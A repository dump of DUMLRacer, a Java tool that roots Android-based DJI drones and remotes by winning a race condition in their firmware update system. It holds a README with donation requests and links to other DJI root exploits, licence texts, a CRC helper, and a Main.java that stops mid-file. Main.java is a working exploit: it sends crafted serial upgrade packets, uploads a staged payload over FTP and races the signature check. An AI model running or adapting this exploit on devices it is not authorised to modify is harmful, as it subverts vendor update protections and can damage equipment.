[
{
"path": ".gitignore",
"content": "# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff:\n.idea/**/workspace.xml\n.idea/**/tasks.xml\n.idea/dictionaries\n\n# Sensitive or high-churn files:\n.idea/**/dataSources/\n.idea/**/dataSources.ids\n.idea/**/dataSources.xml\n.idea/**/dataSources.local.xml\n.idea/**/sqlDataSources.xml\n.idea/**/dynamic.xml\n.idea/**/uiDesigner.xml\n\n# Gradle:\n.idea/**/gradle.xml\n.idea/**/libraries\n\n# CMake\ncmake-build-debug/\ncmake-build-release/\n\n# Mongo Explorer plugin:\n.idea/**/mongoSettings.xml\n\n## File-based project format:\n*.iws\n\n## Plugin-specific files:\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n"
},
{
"path": ".idea/artifacts/DUMLRacer_jar.xml",
"content": "\n \n $PROJECT_DIR$/out/artifacts/DUMLRacer_jar\n \n \n \n \n \n \n"
},
{
"path": ".idea/compiler.xml",
"content": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"path": ".idea/copyright/profiles_settings.xml",
"content": "\n \n"
},
{
"path": ".idea/description.html",
"content": "Simple Java application that includes a class with main() method"
},
{
"path": ".idea/misc.xml",
"content": "\n\n \n \n \n \n \n \n \n \n \n"
},
{
"path": ".idea/modules.xml",
"content": "\n\n \n \n \n \n \n"
},
{
"path": ".idea/project-template.xml",
"content": "\n IJ_BASE_PACKAGE\n"
},
{
"path": ".idea/vcs.xml",
"content": "\n\n \n \n \n"
},
{
"path": "CODE_OF_CONDUCT.md",
"content": "# Code of Conduct\n\nDon't be an unwarranted dick.\n"
},
{
"path": "DUMLRacer.iml",
"content": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"path": "README.md",
"content": "\nYes it works on V01.040.0200\n\n\nNo, you errogant ass, you are wrong. Go ahead brag about your years of drone experience, I only have two weeks with drones, and I seem to have no problem downgrading.\n\n\n# DUMLRacer\n\n\nDownloads: https://github.com/CunningLogic/DUMLRacer/releases\n\nI'm on twitter ! http://twitter.com/jcase\n\nIf you don’t agree to the terms in this read me, then stop dont clone, don’t read, don’t use. Don’t email me for support, open an issue if you have one.\n\nI either need to recoup the cost of my Mavic, or sell it. If I can recoup it, I can keep hacking. If I can’t recoup it, I will be selling the drone, and I’ll be done giving the drone community goodies. Sucks, but I can’t really afford to be dropping money on this in the long term.\n\n```\nPayPal Donations - > jcase@cunninglogic.com\nBitcoin Donations - > 1LrunXwPpknbgVYcBJyDk6eanxTBYnyRKN\nBitcoin Cash Donations - > 1LrunXwPpknbgVYcBJyDk6eanxTBYnyRKN\nAmazon giftcards, plain thank yous or anything else -> jcase@cunninglogic.com\n```\nAny donations in excess of the drone cost, will go to Special Olympics!\n\nDonations: $857 out of $899+tax\n\n\n\nDear DJI, next time someone requests source code they are entitled to under the GPL, you shouldn’t tell them no. You should comply with the license you agreed to. Had you complied, or responded appropriately, this project would never have been public.\n\nYou do NOT have permission to re-host these files in any form.\nYou do NOT have permission to use these files, or the intellectual property contained in them for commercial purposes without written permission from APIs Research LLC.\n\nYou do have permission to read, understand and learn from this (horrible) code.\n\n\nThis software comes with NO WARRANTY AT ALL. If it bricks your equipment, it is your fault not anyone else's. You agree to take full responsibility of any harm, damage, injury or loss of life from using your equipment improperly. Do not use this software to illegally modify your equipment. Do not redistribute this software. Do not use it in any commercial venture without first getting written permission from APIs Research LLC.\n\n\n\nDUMLRacer is a race condition in the update system for DJI drones and remotes that run Android.\n```\nUsage:\n private static void printHelp() {\n System.out.println(\"java -jar DUMLRacer.jar \");\n System.out.println(\"Modes:\");\n System.out.println(\"AC - target AC\");\n System.out.println(\"RC - target RC\");\n System.out.println(\"GL - target GL\");\n }\n```\n```\nChange Log:\n1.1.1:\n\tGoogle Support\n1.1:\n\tPersistent root via adb\n\tMassive re-write\n\tMore Reliable\n1.0:\n\tInitial release\n\nCopyright 2017/2018 APIs Research LLC \n```\n\nGreetz/shouts/thank yous\n\n\n@rotlogix - tied with a few others for best person in infosec\n\n@hostile - wubba wubba thanks for encouraging me\n\n@mywife - for not saying a damn word when you know I spent wayyyy to much money on a drone\n\n@diff & @beaups for always hacking with me\n\n@tylkologin\n@opcode\n@kilrah\n@kdover\n@hdnes\n@diff\n@jezzab\n@jan2642\n@coldflake\n@hdnes\n@b1n4ry\n\n@bunch of ppl i left off because i need a break from pc\n\n\n### #DeejayeyeHackingClub information repos aka \"The OG's\" (Original Gangsters)\n\nhttp://dji.retroroms.info/ - \"Wiki\"\n\nhttps://github.com/fvantienen/dji_rev - This repository contains tools for reverse engineering DJI product firmware images.\n\nhttps://github.com/Bin4ry/deejayeye-modder - APK \"tweaks\" for settings & \"mods\" for additional / altered functionality\n\nhttps://github.com/hdnes/pyduml - Assistant-less firmware pushes and DUMLHacks referred to as DUMBHerring when used with \"fireworks.tar\" from RedHerring. DJI silently changes Assistant? great... we will just stop using it.\n\nhttps://github.com/MAVProxyUser/P0VsRedHerring - RedHerring, aka \"July 4th Independence Day exploit\", \"FTPD directory transversal 0day\", etc. (Requires Assistant). We all needed a public root exploit... why not burn some 0day?\n\nhttps://github.com/MAVProxyUser/dji_system.bin - Current Archive of dji_system.bin files that compose firmware updates referenced by MD5 sum. These can be used to upgrade and downgrade, and root your I2, P4, Mavic, Spark, Goggles, and Mavic RC to your hearts content. (Use with pyduml or DUMLDore)\n\nhttps://github.com/MAVProxyUser/firm_cache - Extracted contents of dji_system.bin, in the future will be used to mix and match pieces of firmware for custom upgrade files. This repo was previously private... it is now open.\n\nhttps://github.com/MAVProxyUser/DUMLrub - Ruby port of PyDUML, and firmware cherry picking tool. Allows rolling of custom firmware images.\n\nhttps://github.com/jezzab/DUMLdore - Even windows users need some love, so DUMLDore was created to help archive, and flash dji_system.bin files on windows platforms.\n\nhttps://github.com/MAVProxyUser/DJI_ftpd_aes_unscramble - DJI has modified the GPL Busybox ftpd on Mavic, Spark, & Inspire 2 to include AES scrambling of downloaded files... this tool will reverse the scrambling\n"
},
{
"path": "UNINSTALL.md",
"content": "# Uninstalling root\n\n adb shell\n\n mount -o remount,rw /vendor\n rm /vendor/bin/check_1860_state.sh\n mount -o remount,ro /vendor\n\n reboot\n"
},
{
"path": "libs/.gitignore",
"content": "# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff:\n.idea/**/workspace.xml\n.idea/**/tasks.xml\n.idea/dictionaries\n\n# Sensitive or high-churn files:\n.idea/**/dataSources/\n.idea/**/dataSources.ids\n.idea/**/dataSources.xml\n.idea/**/dataSources.local.xml\n.idea/**/sqlDataSources.xml\n.idea/**/dynamic.xml\n.idea/**/uiDesigner.xml\n\n# Gradle:\n.idea/**/gradle.xml\n.idea/**/libraries\n\n# CMake\ncmake-build-debug/\ncmake-build-release/\n\n# Mongo Explorer plugin:\n.idea/**/mongoSettings.xml\n\n## File-based project format:\n*.iws\n\n## Plugin-specific files:\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n"
},
{
"path": "libs/LICENSE-COMMONS-NET",
"content": "\n Apache License\n Version 2.0, January 2004\n http://www.apache.org/licenses/\n\n TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n 1. Definitions.\n\n \"License\" shall mean the terms and conditions for use, reproduction,\n and distribution as defined by Sections 1 through 9 of this document.\n\n \"Licensor\" shall mean the copyright owner or entity authorized by\n the copyright owner that is granting the License.\n\n \"Legal Entity\" shall mean the union of the acting entity and all\n other entities that control, are controlled by, or are under common\n control with that entity. For the purposes of this definition,\n \"control\" means (i) the power, direct or indirect, to cause the\n direction or management of such entity, whether by contract or\n otherwise, or (ii) ownership of fifty percent (50%) or more of the\n outstanding shares, or (iii) beneficial ownership of such entity.\n\n \"You\" (or \"Your\") shall mean an individual or Legal Entity\n exercising permissions granted by this License.\n\n \"Source\" form shall mean the preferred form for making modifications,\n including but not limited to software source code, documentation\n source, and configuration files.\n\n \"Object\" form shall mean any form resulting from mechanical\n transformation or translation of a Source form, including but\n not limited to compiled object code, generated documentation,\n and conversions to other media types.\n\n \"Work\" shall mean the work of authorship, whether in Source or\n Object form, made available under the License, as indicated by a\n copyright notice that is included in or attached to the work\n (an example is provided in the Appendix below).\n\n \"Derivative Works\" shall mean any work, whether in Source or Object\n form, that is based on (or derived from) the Work and for which the\n editorial revisions, annotations, elaborations, or other modifications\n represent, as a whole, an original work of authorship. For the purposes\n of this License, Derivative Works shall not include works that remain\n separable from, or merely link (or bind by name) to the interfaces of,\n the Work and Derivative Works thereof.\n\n \"Contribution\" shall mean any work of authorship, including\n the original version of the Work and any modifications or additions\n to that Work or Derivative Works thereof, that is intentionally\n submitted to Licensor for inclusion in the Work by the copyright owner\n or by an individual or Legal Entity authorized to submit on behalf of\n the copyright owner. For the purposes of this definition, \"submitted\"\n means any form of electronic, verbal, or written communication sent\n to the Licensor or its representatives, including but not limited to\n communication on electronic mailing lists, source code control systems,\n and issue tracking systems that are managed by, or on behalf of, the\n Licensor for the purpose of discussing and improving the Work, but\n excluding communication that is conspicuously marked or otherwise\n designated in writing by the copyright owner as \"Not a Contribution.\"\n\n \"Contributor\" shall mean Licensor and any individual or Legal Entity\n on behalf of whom a Contribution has been received by Licensor and\n subsequently incorporated within the Work.\n\n 2. Grant of Copyright License. Subject to the terms and conditions of\n this License, each Contributor hereby grants to You a perpetual,\n worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n copyright license to reproduce, prepare Derivative Works of,\n publicly display, publicly perform, sublicense, and distribute the\n Work and such Derivative Works in Source or Object form.\n\n 3. Grant of Patent License. Subject to the terms and conditions of\n this License, each Contributor hereby grants to You a perpetual,\n worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n (except as stated in this section) patent license to make, have made,\n use, offer to sell, sell, import, and otherwise transfer the Work,\n where such license applies only to those patent claims licensable\n by such Contributor that are necessarily infringed by their\n Contribution(s) alone or by combination of their Contribution(s)\n with the Work to which such Contribution(s) was submitted. If You\n institute patent litigation against any entity (including a\n cross-claim or counterclaim in a lawsuit) alleging that the Work\n or a Contribution incorporated within the Work constitutes direct\n or contributory patent infringement, then any patent licenses\n granted to You under this License for that Work shall terminate\n as of the date such litigation is filed.\n\n 4. Redistribution. You may reproduce and distribute copies of the\n Work or Derivative Works thereof in any medium, with or without\n modifications, and in Source or Object form, provided that You\n meet the following conditions:\n\n (a) You must give any other recipients of the Work or\n Derivative Works a copy of this License; and\n\n (b) You must cause any modified files to carry prominent notices\n stating that You changed the files; and\n\n (c) You must retain, in the Source form of any Derivative Works\n that You distribute, all copyright, patent, trademark, and\n attribution notices from the Source form of the Work,\n excluding those notices that do not pertain to any part of\n the Derivative Works; and\n\n (d) If the Work includes a \"NOTICE\" text file as part of its\n distribution, then any Derivative Works that You distribute must\n include a readable copy of the attribution notices contained\n within such NOTICE file, excluding those notices that do not\n pertain to any part of the Derivative Works, in at least one\n of the following places: within a NOTICE text file distributed\n as part of the Derivative Works; within the Source form or\n documentation, if provided along with the Derivative Works; or,\n within a display generated by the Derivative Works, if and\n wherever such third-party notices normally appear. The contents\n of the NOTICE file are for informational purposes only and\n do not modify the License. You may add Your own attribution\n notices within Derivative Works that You distribute, alongside\n or as an addendum to the NOTICE text from the Work, provided\n that such additional attribution notices cannot be construed\n as modifying the License.\n\n You may add Your own copyright statement to Your modifications and\n may provide additional or different license terms and conditions\n for use, reproduction, or distribution of Your modifications, or\n for any such Derivative Works as a whole, provided Your use,\n reproduction, and distribution of the Work otherwise complies with\n the conditions stated in this License.\n\n 5. Submission of Contributions. Unless You explicitly state otherwise,\n any Contribution intentionally submitted for inclusion in the Work\n by You to the Licensor shall be under the terms and conditions of\n this License, without any additional terms or conditions.\n Notwithstanding the above, nothing herein shall supersede or modify\n the terms of any separate license agreement you may have executed\n with Licensor regarding such Contributions.\n\n 6. Trademarks. This License does not grant permission to use the trade\n names, trademarks, service marks, or product names of the Licensor,\n except as required for reasonable and customary use in describing the\n origin of the Work and reproducing the content of the NOTICE file.\n\n 7. Disclaimer of Warranty. Unless required by applicable law or\n agreed to in writing, Licensor provides the Work (and each\n Contributor provides its Contributions) on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n implied, including, without limitation, any warranties or conditions\n of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n PARTICULAR PURPOSE. You are solely responsible for determining the\n appropriateness of using or redistributing the Work and assume any\n risks associated with Your exercise of permissions under this License.\n\n 8. Limitation of Liability. In no event and under no legal theory,\n whether in tort (including negligence), contract, or otherwise,\n unless required by applicable law (such as deliberate and grossly\n negligent acts) or agreed to in writing, shall any Contributor be\n liable to You for damages, including any direct, indirect, special,\n incidental, or consequential damages of any character arising as a\n result of this License or out of the use or inability to use the\n Work (including but not limited to damages for loss of goodwill,\n work stoppage, computer failure or malfunction, or any and all\n other commercial damages or losses), even if such Contributor\n has been advised of the possibility of such damages.\n\n 9. Accepting Warranty or Additional Liability. While redistributing\n the Work or Derivative Works thereof, You may choose to offer,\n and charge a fee for, acceptance of support, warranty, indemnity,\n or other liability obligations and/or rights consistent with this\n License. However, in accepting such obligations, You may act only\n on Your own behalf and on Your sole responsibility, not on behalf\n of any other Contributor, and only if You agree to indemnify,\n defend, and hold each Contributor harmless for any liability\n incurred by, or claims asserted against, such Contributor by reason\n of your accepting any such warranty or additional liability.\n\n END OF TERMS AND CONDITIONS\n\n APPENDIX: How to apply the Apache License to your work.\n\n To apply the Apache License to your work, attach the following\n boilerplate notice, with the fields enclosed by brackets \"[]\"\n replaced with your own identifying information. (Don't include\n the brackets!) The text should be enclosed in the appropriate\n comment syntax for the file format. We also recommend that a\n file or class name and description of purpose be included on the\n same \"printed page\" as the copyright notice for easier\n identification within third-party archives.\n\n Copyright [yyyy] [name of copyright owner]\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n"
},
{
"path": "libs/LICENSE-jSerialComm",
"content": " GNU LESSER GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. \n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n\n This version of the GNU Lesser General Public License incorporates\nthe terms and conditions of version 3 of the GNU General Public\nLicense, supplemented by the additional permissions listed below.\n\n 0. Additional Definitions.\n\n As used herein, \"this License\" refers to version 3 of the GNU Lesser\nGeneral Public License, and the \"GNU GPL\" refers to version 3 of the GNU\nGeneral Public License.\n\n \"The Library\" refers to a covered work governed by this License,\nother than an Application or a Combined Work as defined below.\n\n An \"Application\" is any work that makes use of an interface provided\nby the Library, but which is not otherwise based on the Library.\nDefining a subclass of a class defined by the Library is deemed a mode\nof using an interface provided by the Library.\n\n A \"Combined Work\" is a work produced by combining or linking an\nApplication with the Library. The particular version of the Library\nwith which the Combined Work was made is also called the \"Linked\nVersion\".\n\n The \"Minimal Corresponding Source\" for a Combined Work means the\nCorresponding Source for the Combined Work, excluding any source code\nfor portions of the Combined Work that, considered in isolation, are\nbased on the Application, and not on the Linked Version.\n\n The \"Corresponding Application Code\" for a Combined Work means the\nobject code and/or source code for the Application, including any data\nand utility programs needed for reproducing the Combined Work from the\nApplication, but excluding the System Libraries of the Combined Work.\n\n 1. Exception to Section 3 of the GNU GPL.\n\n You may convey a covered work under sections 3 and 4 of this License\nwithout being bound by section 3 of the GNU GPL.\n\n 2. Conveying Modified Versions.\n\n If you modify a copy of the Library, and, in your modifications, a\nfacility refers to a function or data to be supplied by an Application\nthat uses the facility (other than as an argument passed when the\nfacility is invoked), then you may convey a copy of the modified\nversion:\n\n a) under this License, provided that you make a good faith effort to\n ensure that, in the event an Application does not supply the\n function or data, the facility still operates, and performs\n whatever part of its purpose remains meaningful, or\n\n b) under the GNU GPL, with none of the additional permissions of\n this License applicable to that copy.\n\n 3. Object Code Incorporating Material from Library Header Files.\n\n The object code form of an Application may incorporate material from\na header file that is part of the Library. You may convey such object\ncode under terms of your choice, provided that, if the incorporated\nmaterial is not limited to numerical parameters, data structure\nlayouts and accessors, or small macros, inline functions and templates\n(ten or fewer lines in length), you do both of the following:\n\n a) Give prominent notice with each copy of the object code that the\n Library is used in it and that the Library and its use are\n covered by this License.\n\n b) Accompany the object code with a copy of the GNU GPL and this license\n document.\n\n 4. Combined Works.\n\n You may convey a Combined Work under terms of your choice that,\ntaken together, effectively do not restrict modification of the\nportions of the Library contained in the Combined Work and reverse\nengineering for debugging such modifications, if you also do each of\nthe following:\n\n a) Give prominent notice with each copy of the Combined Work that\n the Library is used in it and that the Library and its use are\n covered by this License.\n\n b) Accompany the Combined Work with a copy of the GNU GPL and this license\n document.\n\n c) For a Combined Work that displays copyright notices during\n execution, include the copyright notice for the Library among\n these notices, as well as a reference directing the user to the\n copies of the GNU GPL and this license document.\n\n d) Do one of the following:\n\n 0) Convey the Minimal Corresponding Source under the terms of this\n License, and the Corresponding Application Code in a form\n suitable for, and under terms that permit, the user to\n recombine or relink the Application with a modified version of\n the Linked Version to produce a modified Combined Work, in the\n manner specified by section 6 of the GNU GPL for conveying\n Corresponding Source.\n\n 1) Use a suitable shared library mechanism for linking with the\n Library. A suitable mechanism is one that (a) uses at run time\n a copy of the Library already present on the user's computer\n system, and (b) will operate properly with a modified version\n of the Library that is interface-compatible with the Linked\n Version.\n\n e) Provide Installation Information, but only if you would otherwise\n be required to provide such information under section 6 of the\n GNU GPL, and only to the extent that such information is\n necessary to install and execute a modified version of the\n Combined Work produced by recombining or relinking the\n Application with a modified version of the Linked Version. (If\n you use option 4d0, the Installation Information must accompany\n the Minimal Corresponding Source and Corresponding Application\n Code. If you use option 4d1, you must provide the Installation\n Information in the manner specified by section 6 of the GNU GPL\n for conveying Corresponding Source.)\n\n 5. Combined Libraries.\n\n You may place library facilities that are a work based on the\nLibrary side by side in a single library together with other library\nfacilities that are not Applications and are not covered by this\nLicense, and convey such a combined library under terms of your\nchoice, if you do both of the following:\n\n a) Accompany the combined library with a copy of the same work based\n on the Library, uncombined with any other library facilities,\n conveyed under the terms of this License.\n\n b) Give prominent notice with the combined library that part of it\n is a work based on the Library, and explaining where to find the\n accompanying uncombined form of the same work.\n\n 6. Revised Versions of the GNU Lesser General Public License.\n\n The Free Software Foundation may publish revised and/or new versions\nof the GNU Lesser General Public License from time to time. Such new\nversions will be similar in spirit to the present version, but may\ndiffer in detail to address new problems or concerns.\n\n Each version is given a distinguishing version number. If the\nLibrary as you received it specifies that a certain numbered version\nof the GNU Lesser General Public License \"or any later version\"\napplies to it, you have the option of following the terms and\nconditions either of that published version or of any later version\npublished by the Free Software Foundation. If the Library as you\nreceived it does not specify a version number of the GNU Lesser\nGeneral Public License, you may choose any version of the GNU Lesser\nGeneral Public License ever published by the Free Software Foundation.\n\n If the Library as you received it specifies that a proxy can decide\nwhether future versions of the GNU Lesser General Public License shall\napply, that proxy's public statement of acceptance of any version is\npermanent authorization for you to choose that version for the\nLibrary.\n"
},
{
"path": "src/META-INF/MANIFEST.MF",
"content": "Manifest-Version: 1.0\r\nMain-Class: com.cunninglogic.dumlracer.Main\r\n\r\n"
},
{
"path": "src/com/cunninglogic/dumlracer/CRC.java",
"content": "package com.cunninglogic.dumlracer;\n\nimport java.nio.ByteBuffer;\n\n/**\n * Created by jcase on 1/1/18.\n */\npublic class CRC {\n\n private static int seed = 0x3692;\n private static int[] crc = {\n 0x0000, 0x1189, 0x2312, 0x329B, 0x4624, 0x57AD, 0x6536, 0x74BF,\n 0x8C48, 0x9DC1, 0xAF5A, 0xBED3, 0xCA6C, 0xDBE5, 0xE97E, 0xF8F7,\n 0x1081, 0x0108, 0x3393, 0x221A, 0x56A5, 0x472C, 0x75B7, 0x643E,\n 0x9CC9, 0x8D40, 0xBFDB, 0xAE52, 0xDAED, 0xCB64, 0xF9FF, 0xE876,\n 0x2102, 0x308B, 0x0210, 0x1399, 0x6726, 0x76AF, 0x4434, 0x55BD,\n 0xAD4A, 0xBCC3, 0x8E58, 0x9FD1, 0xEB6E, 0xFAE7, 0xC87C, 0xD9F5,\n 0x3183, 0x200A, 0x1291, 0x0318, 0x77A7, 0x662E, 0x54B5, 0x453C,\n 0xBDCB, 0xAC42, 0x9ED9, 0x8F50, 0xFBEF, 0xEA66, 0xD8FD, 0xC974,\n 0x4204, 0x538D, 0x6116, 0x709F, 0x0420, 0x15A9, 0x2732, 0x36BB,\n 0xCE4C, 0xDFC5, 0xED5E, 0xFCD7, 0x8868, 0x99E1, 0xAB7A, 0xBAF3,\n 0x5285, 0x430C, 0x7197, 0x601E, 0x14A1, 0x0528, 0x37B3, 0x263A,\n 0xDECD, 0xCF44, 0xFDDF, 0xEC56, 0x98E9, 0x8960, 0xBBFB, 0xAA72,\n 0x6306, 0x728F, 0x4014, 0x519D, 0x2522, 0x34AB, 0x0630, 0x17B9,\n 0xEF4E, 0xFEC7, 0xCC5C, 0xDDD5, 0xA96A, 0xB8E3, 0x8A78, 0x9BF1,\n 0x7387, 0x620E, 0x5095, 0x411C, 0x35A3, 0x242A, 0x16B1, 0x0738,\n 0xFFCF, 0xEE46, 0xDCDD, 0xCD54, 0xB9EB, 0xA862, 0x9AF9, 0x8B70,\n 0x8408, 0x9581, 0xA71A, 0xB693, 0xC22C, 0xD3A5, 0xE13E, 0xF0B7,\n 0x0840, 0x19C9, 0x2B52, 0x3ADB, 0x4E64, 0x5FED, 0x6D76, 0x7CFF,\n 0x9489, 0x8500, 0xB79B, 0xA612, 0xD2AD, 0xC324, 0xF1BF, 0xE036,\n 0x18C1, 0x0948, 0x3BD3, 0x2A5A, 0x5EE5, 0x4F6C, 0x7DF7, 0x6C7E,\n 0xA50A, 0xB483, 0x8618, 0x9791, 0xE32E, 0xF2A7, 0xC03C, 0xD1B5,\n 0x2942, 0x38CB, 0x0A50, 0x1BD9, 0x6F66, 0x7EEF, 0x4C74, 0x5DFD,\n 0xB58B, 0xA402, 0x9699, 0x8710, 0xF3AF, 0xE226, 0xD0BD, 0xC134,\n 0x39C3, 0x284A, 0x1AD1, 0x0B58, 0x7FE7, 0x6E6E, 0x5CF5, 0x4D7C,\n 0xC60C, 0xD785, 0xE51E, 0xF497, 0x8028, 0x91A1, 0xA33A, 0xB2B3,\n 0x4A44, 0x5BCD, 0x6956, 0x78DF, 0x0C60, 0x1DE9, 0x2F72, 0x3EFB,\n 0xD68D, 0xC704, 0xF59F, 0xE416, 0x90A9, 0x8120, 0xB3BB, 0xA232,\n 0x5AC5, 0x4B4C, 0x79D7, 0x685E, 0x1CE1, 0x0D68, 0x3FF3, 0x2E7A,\n 0xE70E, 0xF687, 0xC41C, 0xD595, 0xA12A, 0xB0A3, 0x8238, 0x93B1,\n 0x6B46, 0x7ACF, 0x4854, 0x59DD, 0x2D62, 0x3CEB, 0x0E70, 0x1FF9,\n 0xF78F, 0xE606, 0xD49D, 0xC514, 0xB1AB, 0xA022, 0x92B9, 0x8330,\n 0x7BC7, 0x6A4E, 0x58D5, 0x495C, 0x3DE3, 0x2C6A, 0x1EF1, 0x0F78,\n };\n\n public static int calc (byte[] packet) {\n int j = seed;\n int len = packet.length;\n for (int i = 0; i < len; i++) {\n j = (j >> 8) ^ crc[(j ^ packet[i]) & 0xFF];\n }\n\n return j;\n }\n\n public static byte[] pktCRC(byte[] packet) {\n byte[] newPkt = new byte[packet.length + 2];\n byte[] crc = ByteBuffer.allocate(2).putShort((short)CRC.calc(packet)).array();\n\n newPkt[newPkt.length -2] = crc[1];\n newPkt[newPkt.length -1] = crc[0];\n\n System.arraycopy(packet,0,newPkt,0,packet.length);\n return newPkt;\n }\n}\n"
},
{
"path": "src/com/cunninglogic/dumlracer/Main.java",
"content": "package com.cunninglogic.dumlracer;\n\nimport com.fazecast.jSerialComm.SerialPort;\nimport org.apache.commons.net.ftp.FTPClient;\nimport org.apache.commons.net.ftp.FTPFile;\n\nimport java.io.*;\nimport java.nio.ByteBuffer;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\n\npublic class Main {\n\n private static SerialPort activePort = null;\n\n private static ClassLoader classLoader;\n\n private static FTPClient ftpClient;\n\n private static boolean isRC = false;\n private static boolean isGL = false;\n\n public static void main(String[] args) throws IOException {\n\n\n System.out.println(\"DUMLRacer 1.1.1\");\n System.out.println(\"Copyright 2017/2018 APIs Research LLC\");\n System.out.println(\"jcase in the house!\\n\");\n\n System.out.println(\"This software comes with NO WARRANTY AT ALL. If it bricks your equipment, your fault not\" +\n \" anyone else's.\");\n System.out.println(\"By using this software, you agree to take full responsibility of any harm, damage, injury or \" +\n \"loss of life from using your equipment improperly.\");\n System.out.println(\"Do not use this software to illegally modify your equipment. Do not redistribute this software. \" +\n \"Do not use it in any \");\n System.out.println(\"commercial venture without first getting written permission from APIs Research LLC.\\n\");\n\n\n if (args.length != 1 || (!args[0].equals(\"AC\") && !args[0].equals(\"RC\") && !args[0].equals(\"GL\"))) {\n printHelp();\n return;\n }\n\n System.out.println(\"I either need to recoup the cost of my Mavic, or sell it. If I can recoup it, I can keep hacking\");\n System.out.println(\"PayPal Donations - > jcase@cunninglogic.com\");\n System.out.println(\"Bitcoin Donations - > 1LrunXwPpknbgVYcBJyDk6eanxTBYnyRKN\");\n System.out.println(\"Bitcoin Cash Donations - > 1LrunXwPpknbgVYcBJyDk6eanxTBYnyRKN\");\n System.out.println(\"Amazon giftcards, plain thank yous or anything else -> jcase@cunninglogic.com\");\n System.out.println(\"Any donations in excess of the drone cost, will go to Special Olympics!\\n\");\n\n System.out.println(\"****Attention****\");\n System.out.println(\"After a successful run, you will need to reboot the device.\");\n System.out.println(\"After rebooting you can use adb for root access, or you can downgrade.\\n\");\n\n System.out.println(args[0] + \" Mode\");\n\n if (args[0].equals(\"RC\")) {\n isRC = true;\n\n } else if (args[0].equals(\"GL\")) {\n isGL = true;\n }\n\n System.out.println();\n\n classLoader = Main.class.getClassLoader();\n\n\n //Serial Port Chooser\n int count = 1;\n\n System.out.println(\"Choose target port: (* suggested port)\");\n for (SerialPort s : SerialPort.getCommPorts()) {\n if (s.getDescriptivePortName().contains(\"DJI\")) {\n System.out.print(\"*\");\n }\n\n\n System.out.println(\"\\t[\" + count + \"] \" + s.getSystemPortName() + \" : \" + s.getDescriptivePortName());\n count++;\n }\n\n System.out.println(\"\\t[E] Exit\");\n\n String str;\n BufferedReader br = new BufferedReader(new InputStreamReader(System.in));\n System.out.print(\"Choose port: \");\n while (true) {\n str = br.readLine();\n try {\n\n if (str.toLowerCase().toLowerCase().equals(\"e\")) {\n System.out.println(\"Exiting\");\n System.exit(0);\n }\n\n\n int port = Integer.parseInt(str.trim());\n\n if ((port > count) || (port < 1)) {\n System.out.println(\"[!] Invalid port selection\");\n System.out.print(\"Choose port: \");\n } else {\n activePort = SerialPort.getCommPorts()[port - 1];\n System.out.println(\"Using Port: \" + activePort.getSystemPortName());\n break;\n }\n } catch (NumberFormatException e) {\n System.out.println(\"[!] Invalid port selection\");\n System.out.print(\"Choose port: \");\n }\n }\n\n connect();\n\n\n\n //Payloads in array so we can get md5sum\n byte[] payload1 = isToArray(classLoader.getResourceAsStream(\"resources/stage1.bin\"));\n byte[] payload2 = isToArray(classLoader.getResourceAsStream(\"resources/stage2.bin\"));\n\n\n //Stage one\n System.out.println(\"Sending upgrade command\");\n write(getUpgradePacket());\n write(getReportPacket());\n\n System.out.println(\"Uploading payload 1\");\n uploadFile(classLoader.getResourceAsStream(\"resources/stage1.bin\"));\n\n try {\n Thread.sleep(3000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n\n write(getFileSizePacket(payload1.length));\n\n System.out.println(\"Exploiting\");\n write(getHashPacket(payload1));\n\n\n //First race\n System.out.println(\"Race 1 has started\");\n boolean flag = false;\n while (!flag) {\n FTPFile[] files = ftpClient.listFiles(\"/upgrade/upgrade/signimgs\");\n\n for (FTPFile f : files) {\n if (f.toString().contains(\"flag\")) {\n flag = true;\n break;\n }\n }\n }\n\n ftpClient.rename(\"/upgrade/upgrade/signimgs/jcase\",\"/upgrade/upgrade/jcase\");\n\n //Some probably completely unneeded packet that I dont recall putting in here, or know what it does\n write(new byte[]{0x55, 0x0D, 0x04, 0x33, 0x2A, 0x28, 0x68, 0x57, 0x00, 0x00, 0x0A, (byte)0xF0, 0x3C});\n System.out.println(\"You won race one, taking a breather for 10 seconds\");\n\n try {\n Thread.sleep(5000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n activePort.closePort();\n ftpClient.disconnect();\n\n try {\n 